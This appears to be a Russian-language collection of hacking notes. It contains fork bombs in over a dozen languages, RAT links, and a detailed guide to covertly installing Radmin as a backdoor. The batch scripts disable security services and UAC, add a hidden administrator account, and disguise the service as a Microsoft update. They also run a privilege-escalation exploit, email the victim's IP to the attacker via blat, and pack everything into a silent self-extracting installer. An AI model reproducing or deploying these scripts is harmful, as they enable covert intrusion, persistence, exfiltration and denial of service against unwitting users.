https://www.google.com/search?q=fake+ssh+server&rlz=1C1GCEA_enRU832RU832&oq=fake+ssh+server&aqs=chrome..69i57.7701j0j7&sourceid=chrome&ie=UTF-8 https://github.com/cheeseandcereal/fake-ssh https://github.com/ysc3839/FakeSSHServer https://github.com/jaksi/sshesame https://github.com/fffaraz/fakessh |
ссылки
|
1 2 3 4 5 |
https://ru.wikipedia.org/wiki/ICMP-%D1%82%D0%BE%D0%BD%D0%BD%D0%B5%D0%BB%D1%8C http://code.gerade.org/hans/ https://github.com/friedrich/hans https://habr.com/ru/post/131800/ https://nethack.ch/2016/12/10/how-to-use-openvpn-over-an-ip-over-icmp-tunnel-hans/ |
Ссылки:
|
1 |
https://en.wikipedia.org/wiki/Fork_bomb |
Ruby
|
1 |
fork while true |
Perl
|
1 |
perl -e "fork while fork" & |
Python
|
1 2 3 |
import os while True: os.fork() |
C
|
1 2 3 4 5 6 7 8 9 10 11 |
#include <sys/types.h> #include <unistd.h> int main() { while(1) { fork(); } return 0; } |
Java
|
1 2 3 4 5 6 7 8 9 10 |
public class ForkBomb { public static void main(String[] args) { while (true) { Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); } } } |
Lua
|
1 2 3 4 5 6 |
-- Requires `luaposix' module local unistd = require "posix.unistd" while true do unistd.fork() end |
Assembly (Linux running on IA-32)
|
1 2 3 4 5 6 7 |
section .text global _start _start: mov eax,2 ;System call for forking int 0x80 ;Call kernel jmp _start |
Shell script
|
1 2 |
#!/bin/sh ./$0|./$0& |
Shell script
|
1 2 3 |
#!/bin/sh ./$0& ./$0& |
Bash
|
1 2 3 4 |
bomb(){ bomb | bomb & } bomb |
Bash
|
1 |
:(){ :|:& };: |
Bash
|
1 |
bomb(){bomb|bomb&};bomb |
Windows batch
|
1 2 3 |
:ForkBomb start goto ForkBomb |
Windows batch
|
1 |
%0 | %0 |
Windows batch
|
1 |
echo %0^|%0 >forkbomb.bat & forkbomb.bat |
Windows batch
|
1 |
cmd /k echo -^|->-.bat&- |
PowerShell
|
1 2 3 4 |
while ($true) { Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"; Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}'; } |
JavaScript
|
1 |
(f => f(f))(async f => f(f) && f(f)); |
bash primer while mini bomb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
cat 2.txt --------- #!/bin/bash while : do #echo `date` #echo sleep 1 done --------- cat 1.txt --------- #!/bin/bash i=1 while [ $i -le 100 ] do ./2.txt & i=$(($i+1)) done --------- |
ссылки
|
1 2 3 4 5 6 7 8 9 |
http://www.spy-soft.net/chto-takoe-rat/ https://codeby.net/threads/posovetujte-pozhalujsta-rabochie-programmy-rat-udalennoe-administrirovanie.59580/ https://codeby.net/threads/testirovanie-na-proniknovenie-s-pomoschju-thefatrat.59049/ https://github.com/NYAN-x-CAT/Lime-RAT https://github.com/DannyTheSloth/VanillaRAT https://github.com/quasar/QuasarRAT https://github.com/topics/rat https://github.com/vanhauser-thc/thc-hydra https://lenium.ru/nemnogo-o-rat-virusah-i-o-tom-kak-rabotat-s-darkcomet-rat/ |
популярные RAT-программы
|
1 2 3 4 5 6 7 |
DarkComet Rat CyberGate ProRAT Turkojan Back Orifice Cerberus Rat Spy-Net |
Ссылки:
|
1 2 3 4 |
https://www.radmin.ru/download/ http://xaker.name/threads/19398/ https://technet.microsoft.com/library/hh528537.aspx?f=255&MSPPError=-2147217396 https://www.itninja.com/community/appdeploy-repackager |
ПО:
|
1 2 3 4 5 6 |
пакет утилит Radmin Deployment tool msi пакет сервера Radmin программа Bat to Exe Converter архиватор WinRar для отправки email blat.exe сплойт Windows Task Scheduler Privilege Escalation |
Ветки реестра radmin 2.x
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
Основные: спрашивать пользователя спрятать иконку включить/выключить логи [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AskUser] "00 00 00 00" [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableTrayIcon] "00 00 00 00" [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableLogFile] "00 00 00 00" [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\NTAuthEnabled] "00 00 00 00" [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisallowChanges] "01 00 00 00" [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableBeep] "01 00 00 00" Остальные: [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableLogFile] Включить протоколирование. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (включить) и "00 00 00 00" (отключить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\LogFilePath] Путь до файла протокола. Тип параметра - строковый (string) (полный путь до лог-файла). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter] Пароль Radmin Server (модифицированный так, что восстановить по нему исходный пароль невозможно). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port] Номер порта. Тип параметра - двоичный (binary) (десятичный номер порта, переведённый в шестнадцатеричный формат). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\NTAuthEnabled] Включить NT Security. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (включить) и "00 00 00 00" (отключить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\NtUsers\] Список пользователей для NT Security. [HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01\ViewType\Data] Лицензионный ключ (модифицированный так, что восстановить по нему исходный ключ невозможно). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisallowChanges] Запретить изменение настроек Radmin Server. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (запретить) и "00 00 00 00" (разрешить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableBeep] Отключить звуковой сигнал при подключении. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (отключить) and "00 00 00 00" (включить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableRedirect] Заблокировать подключения в режиме Переадресация (Redirect) к данному Radmin Server. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (запретить) and "00 00 00 00" (разрешить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableScreen] Заблокировать подключения в режиме Полный контроль (Full control) к данному Radmin Server. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (запретить) and "00 00 00 00" (разрешить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableView] Заблокировать подключения в режиме Только просмотр (View Only) к данному Radmin Server. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (запретить) and "00 00 00 00" (разрешить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableTelnet] Заблокировать подключения в режиме Телнет (Telnet) к данному Radmin Server. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (запретить) and "00 00 00 00" (разрешить). [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableFile] Заблокировать подключения в режиме Обмен файлами (File Transfer) к данному Radmin Server. Тип параметра - двоичный (binary), возможные значения: "01 00 00 00" (запретить) and "00 00 00 00" (разрешить). |
Сетевая деинсталляция:
|
1 2 3 4 5 |
Чтобы удалить Radmin Server, выполните следующее: 1. c:\winnt\system32\r_server.exe /stop 2. c:\winnt\system32\r_server.exe /unregister 3. c:\winnt\system32\r_server.exe /uninstall /silence 4. Удалите все файлы Radmin |
Батник для установки 2.x (1.bat)
|
1 2 3 4 5 6 7 |
@echo off "%WINDIR%\system32\r_server.exe" /install /silence "%WINDIR%\system32\r_server.exe" /port:4899 "%WINDIR%\system32\r_server.exe" /pass:123456 "%WINDIR%\system32\r_server.exe" /save REGEDIT /S "%WINDIR%\system32\2.reg" Exit |
Файл реестра 2.x (2.reg)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] "NTAuthEnabled"=hex:01,00,00,00 "Parameter"=hex:85,1d,e1,8c,05,df,44,42,4f,38,85,e8,61,b4,76,34 "EnableLogFile"=hex:00,00,00,00 "LogFilePath"="c:\\radmin.txt" "FilterIp"=hex:00,00,00,00 "DisableTrayIcon"=hex:01,00,00,00 "AutoAllow"=hex:00,00,00,00 "AskUser"=hex:00,00,00,00 "EnableEventLog"=hex:01,00,00,00 "DisableBeep"=hex:01,00,00,00 "DisallowChanges"=hex:00,00,00,00 "NTAuthEnabled"=hex:00,00,00,00 "Port"=hex:23,02,00,00 |
Файлы необходимые для работы radmin 2.x (Copy of system32)
|
1 2 3 |
AdmDll.dll r_server.exe raddrv.dll |
Radmin Deployment tool программа для настройки msi Radmin 3.x
|
1 2 3 4 |
Устанавливаем Radmin Deployment tool После установки запускаем Radmin MSI Configurator Указываем ему на скачанный msi пакет сервера Radmin Задаём настройки, добавляем пользователя и сохраняем |
Пример батника для установки radmin 3.x с доп нагрузкой ip.exe
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
@echo off net stop Alerter sc config Alerter start= disabled net stop wscsvc sc config wscsvc start= disabled net stop sc config SharedAccess start= disabled %TEMP%\msupdate.msi /qn /norestart @ ping -n 10 127.0.0.1 rmdir "%USERPROFILE%\Главное меню\Программы\Radmin Server 3" /Q /S reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{3A8C4C87-D460-488A-A0AA-8993F6D355B1}" /f reg delete "HKCU\Software\Microsoft\Installer\Features\78C4C8A3064DA8840AAA98396F3D551B" /f reg delete "HKCU\Software\Microsoft\Installer\Products\78C4C8A3064DA8840AAA98396F3D551B" /f attrib +S +H %windir%\system32\rserver30 net stop rserver3 reg add "HKLM\System\CurrentControlSet\Services\RServer3" /v "DisplayName" /d "Microsoft Update Provide" /f reg add "HKLM\System\CurrentControlSet\Services\RServer3" /v "Description" /d "Update your Windows operation system and check corruption files" /f net start rserver3 netsh advfirewall firewall add rule name="RealIP" dir=in program="%SYSTEMROOT%\realip.exe" security=notrequired action=allow netsh advfirewall firewall add rule name="Microsoft Outlook Express" dir=in program="%SYSTEMROOT%\blat.exe" security=notrequired action=allow schtasks /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%/ip.exe at 15:00 cmd /c del %Temp%\*.* /Q /S /F |
blat — почтовый клиент
|
1 2 3 4 5 6 |
blat.exe -install -server smtp.yandex.ru -port 25 -f iprdm@yandex.ru -u iprdm -pw 123456 smtp.yandex.ru - smtp адрес вашего почтового сервера, указываем свой -port 25 - smtp порт, скорее всего, у вас такой же iprdm@yandex.ru - ваш почтовый ящик, указываем свой -u iprdm - логин почтового ящика, пишем свой -pw 123456 - пароль почтового ящика, соответственно, указываем свой |
батник отправка ip с помощью blat.exe
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
@echo off ipconfig /all > localip.txt realip.exe > realip.txt ping -n 5 127.0.0.1 > nul blat.exe -install -server smtp.yandex.ru -port 25 -f login@ya.ru -u login -pw pass blat.exe -to login@ya.ru -subject "Local IP" -attachi "localip.txt" -body "Locals IP" blat.exe -to login@ya.ru -subject "Real IP" -attachi "realip.txt" -body "Real IP" del /f /q localip.txt del /f /q realip.txt |
Собираем blat.exe с нагрузкой ip.exe
|
1 2 3 |
запускаем программу Bat to Exe Converter, выбираем файл ip.cmd, выставляем переключатель Visibility в Invisible Application, переключатель Working Directory в Temporary Directory. Далее, переходим на вкладку Include, жмем Add и добавляем файлы blat.exe, blat.dll, blat.lib, realip.exe, которые есть у вас в папке ip. Затем жмём Compile и получаем файл ip.exe |
сценарий для установки radmin 3.x + ip.exe(blat.exe+io.cmd)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 |
Цитата: @echo off if exist c:\users\nul (goto win7) else goto winxp :win7 ping -n 3 127.0.0.1 start %temp%\poc.exe ping -n 3 127.0.0.1 goto install :winxp net stop Alerter sc config Alerter start= disabled net stop wscsvc sc config wscsvc start= disabled net stop SharedAccess sc config SharedAccess start= disabled sc config TlntSvr start= auto net start TlntSvr :install reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\System /v EnableLUA /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v HelpAssistant /t REG_DWORD /d 0 /f net user HelpAssistant admin /add net localgroup Ђ¤¬Ё*Ёбва*в®ал HelpAssistant /add net user HelpAssistant /active:yes /comment:"“зҐв**п §*ЇЁбм ¤«п ЇаҐ¤®бв*ў«Ґ*Ёп Ї®¬®йЁ" /passwordchg:yes net user HelpAssistant admin %temp%\msupdate.msi /qn /norestart start %temp%\ip.exe ping -n 5 127.0.0.1 attrib +S +H %windir%\system32\rserver30 schtasks /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %temp%\ip.exe net stop rserver3 reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "DisplayName" /d "Microsoft Update Provide" /f reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "Description" /d "Update your Windows operation system and check corruption files" /f net start rserver3 @rem (c) special 4 xaker.name by Iindigo Тоже самое, но с комментариями: Цитата: @rem отключаем вывод консольного окна @echo off @rem проверяем какая система установлена на компьютере if exist c:\users\nul (goto win7) else goto winxp @rem если windows vista/7, то запускаем сплойт и перемещаемся к маркеру install :win7 ping -n 3 127.0.0.1 start %temp%\poc.exe ping -n 3 127.0.0.1 goto install @rem если windows xp, то останавливаем и отключаем службы "Оповещатель", "Центр обеспечения безопасности" и "Брандмауэр Windows", включаем и стартуем службу "Telnet" :winxp net stop Alerter sc config Alerter start= disabled net stop wscsvc sc config wscsvc start= disabled net stop SharedAccess sc config SharedAccess start= disabled sc config TlntSvr start= auto net start TlntSvr @rem отключаем UAC (будет выключен после перезагрузки) и добавляем системную учётку HelpAssistant :install reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\System /v EnableLUA /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v HelpAssistant /t REG_DWORD /d 0 /f @rem непосредственно добавляем пользователя HelpAssistant, добавляем в группу Администраторы, даём пароль admin net user HelpAssistant admin /add net localgroup Ђ¤¬Ё*Ёбва*в®ал HelpAssistant /add net user HelpAssistant /active:yes /comment:"“зҐв**п §*ЇЁбм ¤«п ЇаҐ¤®бв*ў«Ґ*Ёп Ї®¬®йЁ" /passwordchg:yes net user HelpAssistant admin @rem запускаем скрытую установку нашего msi пакета %temp%\msupdate.msi /qn /norestart @rem запускаем скрипт отправки IP на наш почтовый адрес start %temp%\ip.exe @rem немного ждём, пока стартует служба и гарантированно завершится установка msi пакета ping -n 5 127.0.0.1 @rem устанавливаем аттрибуты "системный" и "скрытый" для папки с установленным сервером attrib +S +H %windir%\system32\rserver30 @rem добавляем задачу "при входе в винду отправлять IP на email" schtasks /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %temp%\ip.exe @rem останавливаем службу радмина, переименовываем и опять стартуем (окончательное переименование произойдёт после перезагрузки) net stop rserver3 reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "DisplayName" /d "Microsoft Update Provide" /f reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "Description" /d "Update your Windows operation system and check corruption files" /f net start rserver3 |
Winrar или как нам теперь собрать все в кучу с авто установкой да с нагрузкой.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
Пример есть: msupdate.msi - специальный пакет radmin server 3.4 ip.exe - программа которая возьмёт ip компьютера и отправит нам их на мыло inst.exe - основной инсталлятор poc.exe - сплойт Windows Task Scheduler Privilege Escalation Ставим архиватор WinRar. Затем, выделяем файлы и создаем архив. Даём архиву название, к примеру msupdate. В настройках архива ставим галочки напротив "Создать "SFX-архив" и "Протестировать файлы после упаковки". Уровень сжатия ставим максимальный. Далее переходим на вкладку "Дополнительно" и открываем "Параметры SFX". Вкладка "Общие": Путь для распаковки - вводим %temp% Выполнить после распаковки - вводим %temp%\inst.exe Вкладка "Режимы": Режим вывода информации - ставим в "Скрыть всё" Вкладка "Обновление": Режим перезаписи - ставим в "Перезаписывать все файлы без запроса" Жмём "Ок" и ещё раз "Ок" для создания архива. Инсталлятор готов. |